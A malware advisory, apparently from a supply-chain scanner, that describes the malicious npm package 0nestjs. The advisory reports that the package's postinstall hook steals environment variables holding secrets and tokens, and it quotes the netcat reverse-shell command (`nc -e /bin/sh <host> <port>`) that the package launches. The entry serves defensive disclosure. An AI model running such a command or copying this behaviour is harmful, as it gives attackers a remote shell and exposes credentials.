LWA-2026-11879 MAL-2026-15908 ↗ confirmed malware

0nestjs@0.0.1

Malicious code in 0nestjs (npm)

T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1082 · System Information DiscoveryT1552.001 · Credentials In FilesT1041 · Exfiltration Over C2 ChannelT1059 · Command and Scripting Interpreter

Analysis

The postinstall hook runs index.js, which harvests every environment variable whose name matches SECRET, API, TOKEN, or KEY and exfiltrates them over a TCP socket to a remote server (default 127[.]0[.]0[.]1:9999, configurable via servers.json and the TS_HOST/TS_PORT environment variables). It then spawns a netcat reverse shell (`nc -e /bin/sh <host> <port>`) to the same server, giving the remote operator a shell on the installer's machine. The package is a combosquat of the legitimate nestjs package.

analyzed by
Leitwacht
first seen
Sep 3, 2026, 10:51 PM
analyzed
Sep 3, 2026, 10:52 PM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.